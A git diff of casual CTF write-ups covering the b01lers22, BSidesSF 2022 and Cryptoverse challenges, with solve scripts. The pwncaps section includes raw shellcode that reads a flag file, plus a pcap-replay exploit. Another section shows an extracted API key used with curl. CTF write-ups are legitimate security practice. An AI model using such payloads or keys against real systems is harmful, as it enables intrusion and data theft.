Page MenuHomedesp's stash

No OneTemporary

diff --git a/ctfs/comments/b01lers22.md b/ctfs/comments/b01lers22.md
index e6d8ca8..98b4bd1 100644
--- a/ctfs/comments/b01lers22.md
+++ b/ctfs/comments/b01lers22.md
@@ -1,82 +1,82 @@
### WEB2.0
glibc 2.33 pain - which means i gotta use the ld trick again
but now how do i debug it since i cant ld the server and expect ida to use it to load the program
turns out i can run and attach the program normally (or use process options with ld) then manually rebase the program in ida
right click the module in modules window, right click jump to module base, get the base addr, `edit->segments->rebase program` and set it to that, uncheck fix code (idk if it helps in making the code not screw up actually but ye)
and then breakpoints and stuff should work normally
-while i was reversing the get_input function angus found out if you `localhost:7878/crawl` it doesnt reject it and instead shows `correct the flag "" is valid`
+while i was reversing the get_input function [@Angus](https://maplebacon.org/authors/alueft/) found out if you `localhost:7878/crawl` it doesnt reject it and instead shows `correct the flag "" is valid`
i was just about to figure out how retstr is made and it seems like theres sth related to arrays so i tested `/crawl/a/b/c/` but before that i also tested out what robert said where any char would also return 200 OK so i was entering `/a`s
i actually got `sorry but flag "aaa" is not valid` instead so i was like wait is my theory correct
but then it says `aaa` where i only inputted a single a
then i remembered i entered a 3 times before that as standalone curl reqs
so i tried
```sh
$ curl "localhost:7878/a"
$ curl "localhost:7878/b"
$ curl "localhost:7878/c"
$ curl "localhost:7878/crawl"
```
and it actually returned
```
Welcome to the b01lers flag verification service!
Sorry abc is not a valid flag.
Error: InvalidKeyError
```
eyo? so thats how we input stuff
then i thought since empty string is correct what if it actually checks char by char
so i tried entering b then crawl to validate
and indeed it works
so i wrote a script for it:
```py
import requests
import string
from pwn import *
context.log_level = 'CRITICAL'
flag = 'bctf{'
while True:
p = process(['./lib/x86_64-linux-gnu/ld-linux-x86-64.so.2', '--library-path', './lib/x86_64-linux-gnu/', './WEB2.0'])
p.recvuntil('Welcome')
for bc in r'0123456789abcdefghijklmnopqrstuvwxyz{}_':
for fc in flag:
requests.get('http://localhost:7878/' + fc)
requests.get('http://localhost:7878/' + bc)
resp = requests.get('http://localhost:7878/crawl')
if b'Congrats' in p.recvall():
print('got', flag)
flag += bc
break
p = process(['./lib/x86_64-linux-gnu/ld-linux-x86-64.so.2', '--library-path', './lib/x86_64-linux-gnu/', './WEB2.0'])
p.recvuntil('Welcome')
```
but it turns out it doesnt work well - it gets stuck at `bctf{sorrylno_nfqs_onlylq`
which means theres more than 1 possible correct returns for certain chars
and while i was working on getting all the possible correct returns instead of breaking directly ming got the flag by guessing with english lmao
and so here it is `bctf{sorry_no_nfts_only_flags}`
\ No newline at end of file
diff --git a/ctfs/comments/bsidessf22.md b/ctfs/comments/bsidessf22.md
index dadc170..4a47d23 100644
--- a/ctfs/comments/bsidessf22.md
+++ b/ctfs/comments/bsidessf22.md
@@ -1,445 +1,445 @@
### codetalker
4 layers of encoding
- first is traversing the maze with the provided path to get the base64
- the main problem with this is theres not really a way to tell the starting point - until you realize `==` is always at the end so we can just traverse backwards (this will be a recurring theme)
- another more minor problem is that the maze wraps around, so you'll need to do modulos too
- also the newlines made my traversal script go weird before i realize i shouldve truncated those lmao
- file says its archive, so extracting it is
- second one is a weird line of characters along with a bunch of data encoded with those chars
- i somehow instantly thought its substitution cipher so i tried to spot patterns (namely the aforementioned `=` padding)
- turns out its just those chars mapped to `/[A-Za-z0-9+/=]/` in sequence lol
- replacing those chars yield us another base64, again archive
- this time we are given what looks like a split hex dump, but the hex bytes doesnt really match up
- also theres `eape\nxml` in the first 2 lines so i tried searching that up
- i thought it was sth related to xml but nope this random doc i found https://readthedocs.org/projects/lantern-crypto/downloads/pdf/latest/ had exactly what i needed lmao
- so i just implemented the column stitching algo and we get another archive this time in hex form
- finally this one is encoded in upper case and lower case phi
- i was thinking binary would store too little information so its not gonna be that but my teammate [@JJ](https://maplebacon.org/authors/apropos/) was like what else could it be so i tried it out and turns out its actually the flag lmao guess i overestimated the bits needed for plaintext
finally we get `CTF{layers_of_meaning}`
```py
import base64
# starting = (30-12, 38)
# encoded = ''
#from 7zip
# with open('codes~', 'r') as f:
# data = f.readlines()
# path = "".join(data[1:9]).replace('\n', '')[::-1]
# print(path)
# grid = [l.replace('\n', '') for l in data[11:]]
# cursor = starting
# for d in path:
# #directions are flipped; cursor[0] is y and 1 is x
# encoded += grid[cursor[0]][cursor[1]]
# print(encoded)
# if d == 'U':
# cursor = (cursor[0] + 1, cursor[1])
# elif d == 'D':
# cursor = (cursor[0] - 1, cursor[1])
# elif d == 'L':
# cursor = (cursor[0], cursor[1] + 1)
# elif d == 'R':
# cursor = (cursor[0], cursor[1] - 1)
# cursor = (cursor[0] % len(grid), cursor[1] % len(grid[0]))
# print('dir', d)
# print(cursor, len(grid), len(grid[0]))
# with open('decoded.bin', 'wb') as f:
# f.write(base64.b64decode(encoded[::-1]))
#from 7zip again
# with open('decoded', 'r') as f:
# data = f.readlines()
# mapping = {}
# for i, c in enumerate(data[0]):
# mapping[c] = data[1][i]
# encoded = ''.join(data[2:]).replace('\n', '')
# print(encoded)
# print(''.join([mapping[c] for c in encoded]))
# with open('decoded2.bin', 'wb') as out:
# out.write(base64.b64decode(''.join([mapping[c] for c in encoded])))
#from 7zip again
# with open('decoded2', 'r') as f:
# data = f.readlines()
# reconstructed = ''
# for i in range(0, len(data), 2):
# print(data[i], data[i+1])
# for j in range(len(data[i])):
# reconstructed += data[i][j]
# if len(data[i+1]) > j:
# reconstructed += data[i+1][j]
# print(''.join(reconstructed))
# #from cyberchef
# with open('decoded3.bin', 'wb') as out:
# out.write(base64.b64decode('XQAAAAT//////////wBnoZXKXOw8s/dFlr1e6lEOuk7VhaoCxfV8YF6o2J7QTzfO9SRNMhd9c9K5BIOX1JS/Xn/S5CvhBFVgBwQITaoIKHEA/Q3OBQ=='))
#from 7zip again
with open('decoded3', 'r', encoding='utf-8') as f:
data = f.readlines()
mapping = {'φ': '0', 'Φ': '1', '\n': ''}
s = ''.join([mapping[c] for c in ''.join(data)])
print(int(s, 2).to_bytes((len(s) + 7) // 8, byteorder='big'))
```
### monstera
usual dex2jar, apktools stuff to unpack and inspect with enigma
there are strings called "parts" in each of the views (part2-4), which seems to be base64 encoded with one being int array (which turned out also to be base64 in ascii)
but part1 was missing until [@JJ](https://maplebacon.org/authors/apropos/) realized its in the resources class so i just searched the string up in the unpacked res directory and grabbed that base64
stitching the parts tgt gives us `CTF{Rev3rs3Th3AppN0wYay}`
### shorai
lol crypto re chall? lemme instruction count it instead
the mmaps and dlfcn stuff reminds me of a packer so i tried to breakpoint at the oep before i realized it never even got reached coz i need to provide the decryption key lmao
so i looked into validate_key and wait they are traversing it character by character and exiting when the key becomes invalid? aint this prime instruction count target lmao theres even a counter variable for us to use
copying the solve script from maplectf and altering it slightly gives us
```py
from pwn import *
import string
flag = ''
alpn = '0123456789abcdef'
while len(flag) < 65:
for c in alpn:
io = process(['/usr/bin/gdb', '-q', './shorai'])
io.sendline('b *(validate_key+0x52)')
print(flag + c + 'a'*(64-len(flag)))
io.sendline('set args ' + flag + c + 'a'*(64-len(flag)) + '')
io.sendline('start')
io.recvuntil('Temporary breakpoint')
io.recvuntil('\n(gdb) ')
io.send('continue\n')
io.recvuntil('Breakpoint 1,')
io.recvuntil('\n(gdb) ')
io.sendline('x/b $rsp+0x2c')
out = io.recvuntil('\n(gdb) ')
print(out)
count = int(out.split(b':\t')[1].split(b'\n')[0].decode())
print(c, count)
if count >= len(flag) + 2:
flag += c
io.close()
break
io.close()
```
one thing to note is that the validate_key method only checks nibbles so thats the chars im checking only
and ey that one worked so time to jump to the unpacked oep
guess what the flag is right there in the IDA decomp LOL `CTF{r3v3rsing_for_funds_and_profits}`
### loadit 1-3
looks like the author wants us to do some LD_PRELOAD stuff, but what if i just
```py
print(bytes([a ^ b for a, b in zip(b'\xa3\x911\x93\xb8D\xe3,\xb8\xf1\x89|x\xa9\x14W\xff\x03F\x1d*\x03\xd8\xe5Fq\x1c\x8d\x00', b'\xe0\xc5w\xe8\xd4+\x82H\xe7\x98\xfd#\x14\xc0\x7f2\xa0z)hud\xb7\x91\x19\x18h\xf0\x00')]))
print(bytes([a ^ b for a, b in zip(b'\t\xa9\xd4U\r=\xcdtL\x9b$\xbe\x8c\x9d\x926\x05T\xaf\xe7\x10\x8c\xd4\xd9\xaf\xec$\x8f\x1f\x00', b'J\xfd\x92.dS\x92\x00$\xfe{\xce\xe5\xed\xf7ic=\xd9\x82O\xee\xad\x86\xc9\x85R\xeab\x00')]))
print(bytes([a ^ b for a, b in zip(b'#HW \x91K\xe4\xa1\xd1k\x881pe\xe5\x0b4\xde\x030\xc3z\x9d:c\x9e|0\xb6\r\xc7\x00', b'`\x1c\x11[\xf8\x14\x93\xc8\xbf4\xe1n\x07\x0c\x8bTP\xb7mW\x9c\x1e\xf4T\x04\xc1\x18Y\xd8j\xba\x00')]))
```
yep all of the binaries just xors 2 byte arrays to get the flag after you finish the LD_PRELOAD bypass stuff lmfao
`CTF{load_it_like_you_got_it}`
`CTF{in_the_pipe_five_by_five}`
`CTF{i_win_i_win_ding_ding_ding}`
### shurdle 1-3
this was pretty fun going back to the basics to do shellcode
their ui for the chall series is also really well made too its pretty convenient and nice looking
though apparently if you segfault the chall will just spew out the flag along with other debug info LOL
found that out coz i didnt want to write the last exploit in shurdle3 and used pwntools for it instead which segfaulted for some reason
hey i still got the flags thats all that matters
(also this prob wouldve been solved way quicker if i just used pwntools for everything lmao but hey thats no fun)
`CTF{return_to_me}`
`CTF{returning_where_we_return}`
`CTF{going_a_little_meta}`
### 0x41414141
name implies stack smashing lmao
opening it in IDA to get the size of the char array and we can change it to exactly what we want
tbh we couldve just spammed `A`s to get the flag too it doesnt have a length check
`CTF{pwning_has_begun}`
### arboretum
again the usual stuff with `apktools d` and `dex2jar`, then go in with enigma and look at the relevant classes
seems like theres a fetcher that fetches a google cloud file that we wouldnt normally be able to access, which is restricted to only accessing firebase links
so i looked up how to get the firebase link without needing the app using curl which exists https://firebase.google.com/docs/dynamic-links/rest but needs an api key
so i also looked up how to extract that too and turns out its just called `google_api_key` https://blog.dipien.com/how-to-increase-the-security-of-the-api-keys-created-by-firebase-e9be0925526b
with a curl we can get the link
```
$ curl -X POST "https://firebasedynamiclinks.googleapis.com/v1/shortLinks?key=AIzaSyBzJByNMwCrFIOWzGpiFasuYWNV5rZdRK8" -
H "Content-Type: application/json" --data '{"longDynamicLink": "https://bsidessfctf2022.page.link?link=https://storage.cloud.google.com/arboretum-images-2022/tree1.png&apn=com.bsidessf.arboretum"}'
{
"shortLink": "https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA",
"warning": [
{
"warningCode": "UNRECOGNIZED_PARAM",
"warningMessage": "Android app 'com.bsidessf.arboretum' lacks SHA256. AppLinks is not enabled for the app. [https://firebase.google.com/docs/dynamic-links/debug#android-sha256-absent]"
}
],
"previewLink": "https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA?d=1"
}
```
and https://arboretum-e83f3dfd.challenges.bsidessf.net/get-nft?url=https://bsidessfctf2022.page.link/7iKHDgxebZj5a94UA does indeed give us a tree pic
but now the problem comes - yea ok the flag is probably on the cloud, but how do i access it
so i tried accessing out of bounds pics like tree6 or even the whole https://storage.cloud.google.com/arboretum-images-2022/ dir but both just 500 internal server error'd
the short link for the dir one couldnt even be created coz its restricted apparently
but then i was like wait usually its flag.txt but since it says explicitly that its arboretum-***images***-2022 why not try flag.png
and it actually got me the flag lmao
i wonder how to actually do it legitimately tho coz no way thats the intended solution
`CTF{L3afM3Al0n3}`
### dual type multi format
"new *riff* on an old format" - riff is the base for webp so its probably extracting data from the riff chunks
[@JJ](https://maplebacon.org/authors/apropos/) did exactly that and got a wav file which sounds like telephone codes like those ones in utctf and ritsec aka dtmf
but the problem is the tool we used to solve that was down lmao so we had to find another one but none works well enough
the closest is https://unframework.github.io/dtmf-detect/ but it doesnt support the ABCD codes
that is until i realized i can breakpoint in firefox at when it defines the frequencies and coders to change it to include the ABCD freqency column lmao
adding this right after the 2 vars got defined gives us the ABCD column ready to go:
```js
bankList = (function() {
var i, len, ref, results;
ref = [[697, 770, 852, 941], [1209, 1336, 1477, 1633]];
results = [];
for (i = 0, len = ref.length; i < len; i++) {
freqSet = ref[i];
results.push((function() {
var j, len1, results1;
results1 = [];
for (j = 0, len1 = freqSet.length; j < len1; j++) {
freq = freqSet[j];
results1.push(new FilterThresholdDetector(new FrequencyRMS(context, freq)));
}
return results1;
})());
}
return results;
})();
coder = new Coder(new BankSelector(bankList[0]), new BankSelector(bankList[1]), ['1', '4', '7', '*', '2', '5', '8', '0', '3', '6', '9', '#', 'A', 'B', 'C', 'D']);
```
`4354467B6469616C5#665#666#725#666C61677D` and we get all of the codes decoded eyy
looking back at the webp image the dial pad is clearly modified and it matches the dtmf pad except * and # is now E and F which signifies its probably hex code
changing the # in the string we got yields us exactly the flag in hex: `CTF{dial_f_for_flag}`
### pwncaps 1-2
-first one is just copy the payload in the pcap right before the one that gives NOFLAG solves the chall????
+copying the payload in the pcap right before the one that gives NOFLAG solves the chall for the first one????
`CTF{pcaps_the_way}`
but the second one was pretty cool lmao
really fun to finally automate some pcap analysis with scapy
at first i just tried to send all the payloads in the pcap that was sent to the server (server being the one that sent NOFLAG), but ofc that was way too quick for the server to catch up
so i tried syncing it up trying to get pwntools to recvuntil the next packet data which should be a response but then theres zero byte packets all scattered throughout the pcap from both client and server so i had to filter those out too
but then its still not working it just freezes after i send the data
then eventually i realized the `-93: ` line is probably a PIE leak since it changes randomly every time the programs run so i tried to offset everything using it
but that was just too scatterfiring and other values thats clearly not an address got changed too
so i restricted it to some big number so that its likely an address but it still didnt work
eventually when i was printing everything and handpicking things that looks like addresses i noticed wait why does `0x8044f6f7` `0xf044f6f7` `0x904cf4f7` look like addresses but addresses dont change their upper bytes with their lower bytes keeping constant usually
then i had the revelation: its flipped endianness
flipping them for both the offset calculation and the int we send, then restricting the values we change to 0xf7000000 finally yields us the flag
`CTF{finding_offsets_can_be_hard_amirite}`
```py
from pwn import *
from scapy.all import *
#part 1
p = remote('pwncap-5d438dc7.challenges.bsidessf.net', 5555)
p.send(bytes.fromhex('010feb425f807712414831c004024831f60f056681ec0001488d34244889c74831d266ba00014831c00f054831ff4080c7014889c24831c004010f054831ff4831c0043c0f05e8b9ffffff2f686f6d652f6374662f666c61672e747874414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141771240000000000041'))
p.interactive()
#part 2
pcap = rdpcap('pwncap2.pcap')
offset = 0
lastcheck = b''
p = remote('pwncap2-37de32a2.challenges.bsidessf.net', 5555)
p.recvuntil('Menu')
for packet in [pkt for pkt in pcap if TCP in pkt and pkt[IP].src == '172.17.0.1' and len(bytes(pkt[TCP].payload)) > 0]:
#get supposed payload from client (cannot directly use since PIE is enabled)
payload = bytes(packet[TCP].payload)
try:
#calculate offsets from leak; program sends us the int in big endian so we need to flip it to apply offset
val = struct.unpack("<I", struct.pack(">I", int(payload.decode())))[0]
print(val, hex(val))
if b'value' in lastcheck and val > 0xf7000000: #value is likely address
val -= offset
print(val, hex(val))
tosend = struct.unpack("<I", struct.pack(">I", val))[0] #flip it back to big endian
p.sendline(tosend)
except:
#likely menu operations, just send raw
print(payload)
p.send(payload)
#get response payload from server; ignore empty packets
check = next(bytes(pkt[TCP].payload) for pkt in pcap[pcap.index(packet)+1:] if TCP in pkt and pkt[IP].src == '172.17.0.5' and len(bytes(pkt[TCP].payload)) > 0)
if b'-93: 3863474679' in check: #initial PIE offset leak
#just like above, we need to flip endianness to calculate
real = struct.unpack("<I", struct.pack(">I", int(p.recvuntil('\n\n').split(b'-93: ')[1].split(b'\n\n')[0].decode())))[0]
offset = struct.unpack("<I", struct.pack(">I", 3863474679))[0] - real
print('off', hex(real), hex(offset))
elif b'NOFLAG{get_your_own_flag}' in check: #we are supposed to get the flag here
p.interactive()
break
else: #wait until the supposed response is received to avoid spamming
print('check', check)
lastcheck = check
p.recvuntil(check)
```
### loca
was so lost until my laptop decided to update its ASLR base lmfao
binary was simple, i couldve just copied most of the calculation codes from IDA and reimplement it in python to get it working locally
but it never worked remotely for some reason
while testing i noticed something really weird
there was always this weird `▼≡▼` symbol locally that gets printed but it doesnt match the remote one
so i thought its related to encoding but changing encoding and doing a lot of things related to that like null terminators and new lines all didnt work well
eventually from pwntools i realized that kinda looks like an address and i checked IDA and it actually is the char* ptr for the IV string
but then the remote address was `0xECF01F` whereas my local one was `0x1FF01F` which made no sense that they are reading something different remotely since ECF01F aint a valid address no matter how i look at it unless its ASLR
but ASLR shouldnt change the IV string either so i had no idea
eventually i came back on the second day and my laptop probably reset the ASLR base after the sleep
and my local script stopped working lmao which is a really good sign since i can debug whats different now
turns out the value that they xor the IV with ALSO changes with the ALSR base
found that out after subtracting the new one with the old one
well then mystery solved i just need to subtract the value with the ASLR base and add the remote base `0xEC0000` back
voila `CTF{location_location_relocation}`
```py
from pwn import *
p = remote('loca-d9ca6ad4.challenges.bsidessf.net', 8881)
#p = process('loca.exe')
str2 = p.recvuntil(b'response?').split(b'Challenge: ')[1].split(b'\r\n')[0]
print(str2)
#str2 = b"H'r(?{ZQW(=kx i ;urx#.fv7JIh iT" #sanity check
p.send('A'*31 + '\n')
aslr = int.from_bytes(p.recvuntil(b'2 of 3)\r\n').split(b'\r\n')[2][:3], byteorder='little') & 0xFF0000
print(hex(aslr))
v21 = 0xABD15330 - 0x1F0000 + aslr #ASLR base change affects v21 - remote is EC from the "your response" 0xECF01F leak
v20 = b'THIS_IS_KINDA_SORTA_MAYBE_AN_IV!!'
print(v20)
for i in range(31):
print(hex(v21))
str2 = str2[:i] + bytes([((v21 & 0xFF) ^ str2[i]) % 0x5F + 32]) + str2[i+1:]
v21 = v20[i] ^ (v21 >> 1)
print(str2.decode())
p.send(str2)
print(p.recvall(timeout=1))
```
i still wanna know what made the ASLR change though
ik IDA made it a glaring red to indicate the memory address is invalid but why was it treated as a memory address
windows quirks windows quirks
\ No newline at end of file
diff --git a/ctfs/comments/cryptoverse22.md b/ctfs/comments/cryptoverse22.md
index cf29050..755e11b 100644
--- a/ctfs/comments/cryptoverse22.md
+++ b/ctfs/comments/cryptoverse22.md
@@ -1,442 +1,442 @@
### super guesser
pyc, so the logical approach is ofc to run pycdc on it
eyo actually worked flawlessly coz its python 3.8 apparently
reading the src tells us that we need to give it 4 chunks of the flag each of 5 chars long and matches the partial hash given
i dont think hashcat nor john the ripper accepts partial hashes out of the box, and i dont think we need that powerful of a bruteforcer to test anyway so i just coded one in python
turns out pwnlib has mbruteforce thats pretty fast lol
flage `cvctf{hashisnotguessy}`
```py
import hashlib
import re
import pwnlib.util.iters as iters
import string
hashes = [
'd.0.....f5...5.6.7.1.30.6c.d9..0',
'1b.8.1.c........09.30.....64aa9.',
'c.d.1.53..66.4.43bd.......59...8',
'.d.d.076........eae.3.6.85.a2...']
for i in range(len(hashes)):
match = re.compile('^' + hashes[i].replace('.', '[0-9a-f]') + '$')
print (iters.mbruteforce(lambda t:match.match(hashlib.md5(t.encode()).hexdigest()), string.ascii_lowercase, 6, 'upto'))
```
### warmup 4
[@Ray](https://maplebacon.org/authors/Ray/) was originally working on it and i picked up trying to see if theres a pattern in the different width unicode chars they used to encode things
but then [@kever](https://maplebacon.org/authors/vEvergarden/) was like watch me solve it in 5 mins
AND HE ACTUALLY GUESSED WHAT THE STEGO ALGO IS RIGHT FROM THE HINT LOL
guess what tho i sniped him by decoding using the site faster than he can :sunglasses:
logic is https://github.com/holloway/steg-of-the-dump/blob/master/steg-of-the-dump.js
`cvctf{secretsaretobeh1dd3n}`
### french
watching [@kever](https://maplebacon.org/authors/vEvergarden/) going insane speedrunning the challs in like sub 5 mins made me wanna try too but im just too slow :turtle:
anyway its clear from the decompilation that it decrypts the flag using rc4 and then checks char by char if it matches or not
its obviously instruction countable but dude the flag is literally in memory alr so just grab it after breakpointing
`cvctf{rC4<->3nC0d3d>-<}`
### baby cuda
this was kinda fun ngl i love blackboxing challs and not doing it the intended way
judging from name it was probably supposed to be a shader chall and i can see communication to and from the gpu too
but man im not about to learn how to reverse shaders
so i looked at the checking part directly
and i realized they are checking chunks of 4 characters at once for 4 times which means the flag is 16 bytes
so i started looking at the transformation to the input after the cuda operations and seeing if theres any patterns i can see
good ol 'aaaaaaabaaacaaad' tells me that there does seem to be a pattern in that they are always of the same distance from each other as long as we change only a character for each chunk even though the 4 bytes are intertwined which means we cant char by char bruteforce / instruction count feasibly
eventually i mapped out the differences between each char:
```text
aaaaaaabaaac
00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 ...E.à5E..xE.`fE
00 50 18 45 00 B0 36 45 00 C0 79 45 00 50 67 45 .P.E.°6E.ÀyE.PgE
00 10 19 45 00 80 37 45 00 F0 7A 45 00 40 68 45 ...E.€7E.ðzE.@hE
little endian, (0xC0, 0xD0, 0x130, 0xF0) on middle 2 bytes
aaaaaabaaacaaada
00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45
00 10 18 45 00 70 36 45 00 40 79 45 00 10 67 45
00 90 18 45 00 00 37 45 00 F0 79 45 00 C0 67 45
00 10 19 45 00 90 37 45 00 A0 7A 45 00 70 68 45
little endian, (0x80, 0x90, 0xB0, 0xB0) on middle 2 bytes
aaaaabaaacaaadaa
00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45
00 D0 17 45 00 50 36 45 00 20 79 45 00 D0 66 45
00 10 18 45 00 C0 36 45 00 B0 79 45 00 40 67 45
00 50 18 45 00 30 37 45 00 40 7A 45 00 B0 67 45
little endian, (0x40, 0x70, 0x90, 0x70) on middle 2 bytes
aaaabaaacaaadaaa
00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45
00 A0 17 45 00 F0 35 45 00 B0 78 45 00 B0 66 45
00 B0 17 45 00 00 36 45 00 D0 78 45 00 00 67 45
00 C0 17 45 00 10 36 45 00 F0 78 45 00 50 67 45
little endian, (0x10, 0x10, 0x20, 0x50) on middle 2 bytes
```
which also compounds up which is a very good sign coz it means we can just do multiplication on it
```text
aaaaaabb
00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45
00 D0 18 45 00 40 37 45 00 70 7A 45 00 00 68 45
+0x140 (0xC0+0x80)
+0x160 (0xD0+0x90)
+0x1E0 (0x130+0xB0)
+0x1A0 (0xF0+0xB0)
```
now that i got a pretty consistent result so i started looking at the expected result it compares in memory
they convert the float into an int to compare to expected result so i tried converting the expected result to float since i found a pattern in the float representation in memory
```c
#include <stdio.h>
#include <xmmintrin.h>
int main()
{
char d[] = {0xC3, 0x0A, 0x00, 0x00, 0xFC, 0x0C, 0x00, 0x00, 0xC9, 0x11, 0x00, 0x00, 0x36, 0x10, 0x00, 0x00
,0xE6, 0x09, 0x00, 0x00, 0x0F, 0x0C, 0x00, 0x00, 0xAF, 0x10, 0x00, 0x00, 0x17, 0x0F, 0x00, 0x00
,0x24, 0x07, 0x00, 0x00, 0x61, 0x08, 0x00, 0x00, 0x57, 0x0B, 0x00, 0x00, 0xB3, 0x0A, 0x00, 0x00
,0x84, 0x09, 0x00, 0x00, 0x0E, 0x0B, 0x00, 0x00, 0x56, 0x0F, 0x00, 0x00, 0xA2, 0x0D, 0x00, 0x00};
int* data = (int*)d;
__m128 buf;
for(int i = 0; i < 16; i++) {
int in = data[i];
__m128 out = __builtin_ia32_cvtsi2ss(buf, in);
char * bytearray = (char *) &out;
for(int i = 0; i < 4; i++) printf("%02hhx", bytearray[i]);
printf("\n");
}
return 0;
}
```
and then its time to try out z3
but while writing that i realized somehow some of the expected values arent even divisible by the amount of offset i added (last hexit is 8 not 0) so the representation is probably not that accurate due to how float is implemented
and z3 is just giving me unsats everywhere or a ton of wrong solutions otherwise
so i went back to verify if my theory is correct or not
at one point i got so confused about the pattern in the float representation coz it straight up aint even aligned anymore so i gave up on it
and then i thought why not try the integer representation instead
turns out the pattern is way easier to recognize so i just wrote a script to grab the differences automatically to do what i did manually for the floats
```py
raw = """
00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45
00 A0 17 45 00 F0 35 45 00 B0 78 45 00 B0 66 45
00 B0 17 45 00 00 36 45 00 D0 78 45 00 00 67 45
00 C0 17 45 00 10 36 45 00 F0 78 45 00 50 67 45
"""
r = raw.replace(' ', ' ').replace('\n', ' ').strip().split(' ')
chunks = [struct.unpack('f', bytes([int(v, 16) for v in r[i:i + 4]]))[0] for i in range(0, len(r), 4)]
for i in range(4):
print([j-i for i, j in zip(chunks[i::4][:-1], chunks[i::4][1:])])
```
but it is still different from the expected values somehow aside from the first value
turns out i was coding the difference obtaining automation script too much that i got it mixed with how to get expected values LOL
i parsed the expected values as columns instead of rows ofc its gonna be wrong for anything aside from the first value
with the fixed script we can grab the chunks out now and obtain the actual flag: `cvctf{CuD4_B@@M}`
```py
from z3 import *
#not working float comparison impl (inconsistent differences due to how float is implemented)
# s = Solver()
# b = [BitVec("b1", 8),BitVec("b2", 8),BitVec("b3", 8),BitVec("b4", 8)]
# # s.add(Int2BV(0x1790 + BV2Int(BV2Int(b[0]*0)xC0) + BV2Int(BV2Int(b[1]*0)x80) + BV2Int(BV2Int(b[2]*0)x40) + BV2Int(BV2Int(b[3]*0)x10), 16) == 0x2c30)
# # s.add(Int2BV(0x35e0 + BV2Int(BV2Int(b[0]*0)xD0) + BV2Int(BV2Int(b[1]*0)x90) + BV2Int(BV2Int(b[2]*0)x70) + BV2Int(BV2Int(b[3]*0)x10), 16) == 0x4fc0)
# # s.add(Int2BV(0x7890 + BV2Int(BV2Int(b[0]*0)x130) + BV2Int(BV2Int(b[1]*0)xB0) + BV2Int(BV2Int(b[2]*0)x90) + BV2Int(BV2Int(b[3]*0)x20), 16) == 0x8e40) #8e48
# # s.add(Int2BV(0x6660 + BV2Int(BV2Int(b[0]*0)xF0) + BV2Int(BV2Int(b[1]*0)xB0) + BV2Int(BV2Int(b[2]*0)x70) + BV2Int(BV2Int(b[3]*0)x50), 16) == 0x81b0)
# s.add((BV2Int(b[0]*0)xC0 + BV2Int(b[1]*0)x80 + BV2Int(b[2]*0)x40 + BV2Int(b[3]*0)x10) == 0x451920)
# s.add((BV2Int(b[0]*0)xD0 + BV2Int(b[1]*0)x90 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x10) == 0x4537c0)
# s.add((BV2Int(b[0]*0)x130 + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x90 + BV2Int(b[3]*0)x20) == 0x457b20) #8e48
# s.add((BV2Int(b[0]*0)xF0 + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x50) == 0x4568c0)
# for c in b:
# s.add(c >= 97)
# s.add(c <= 122)
# print(s.check())
# while str(s.check()) == 'sat':
# print("".join([chr(s.model()[c].as_long()) for c in b]))
# s.add(Or([c != s.model()[c] for c in b]))
#sanity check for float
# b = b'aaas'[::-1]
# print(b[0], b'h'[0], hex(0x130*b'h'[0]))
# print(hex(0x448000 + BV2Int(b[0]*0)xC0 + BV2Int(b[1]*0)x80 + BV2Int(b[2]*0)x40 + BV2Int(b[3]*0)x10))
# print(hex(0x448000 + BV2Int(b[0]*0)xD0 + BV2Int(b[1]*0)x90 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x10))
# print(hex(0x448000 + (BV2Int(b[0]*0)x130 if b[0] <= b'h'[0] else ((0x130*b'h'[0]) + (b[0]-b'h'[0])*0x98)) + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x90 + BV2Int(b[3]*0)x20))
# print(hex(0x448000 + BV2Int(b[0]*0)xF0 + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x50))
# print(chr(b's'[0] - 0xB))
import struct
# from c cvtsi2ss coz i just realized python struct unpack works exactly like cvtss2si
#sanity check for unpack to see if values match
# vals = [00, 0x90, 0x17, 0x45, 0x00, 0xE0, 0x35, 0x45, 0x00, 0x90, 0x78, 0x45, 0x00, 0x60, 0x66, 0x45,
# 00, 0x10, 0x18, 0x45, 0x00, 0x70, 0x36, 0x45, 0x00, 0x40, 0x79, 0x45, 0x00, 0x10, 0x67, 0x45,
# 00, 0x90, 0x18, 0x45, 0x00, 0x00, 0x37, 0x45, 0x00, 0xF0, 0x79, 0x45, 0x00, 0xC0, 0x67, 0x45,
# 00, 0x10, 0x19, 0x45, 0x00, 0x90, 0x37, 0x45, 0x00, 0xA0, 0x7A, 0x45, 0x00, 0x70, 0x68, 0x45]
#print([struct.unpack('f', bytes(vals[i:i + 4])) for i in range(0, len(vals), 16)])
# expected vals from float from cvtsi2ss
vals = [ 0x00302c45, 0x00c04f45, 0x00488e45, 0x00b08145
, 0x00601e45, 0x00f04045, 0x00788545, 0x00707145
, 0x0080e444, 0x00100645, 0x00703545, 0x00302b45
, 0x00401845, 0x00e03045, 0x00607545, 0x00205a45]
expected = [int(struct.unpack('f', v.to_bytes(4, byteorder='big'))[0]) for v in vals][:4]
# orig expected vals in memory
vals = [0xC3, 0x0A, 0x00, 0x00, 0xFC, 0x0C, 0x00, 0x00, 0xC9, 0x11, 0x00, 0x00, 0x36, 0x10, 0x00, 0x00
,0xE6, 0x09, 0x00, 0x00, 0x0F, 0x0C, 0x00, 0x00, 0xAF, 0x10, 0x00, 0x00, 0x17, 0x0F, 0x00, 0x00
,0x24, 0x07, 0x00, 0x00, 0x61, 0x08, 0x00, 0x00, 0x57, 0x0B, 0x00, 0x00, 0xB3, 0x0A, 0x00, 0x00
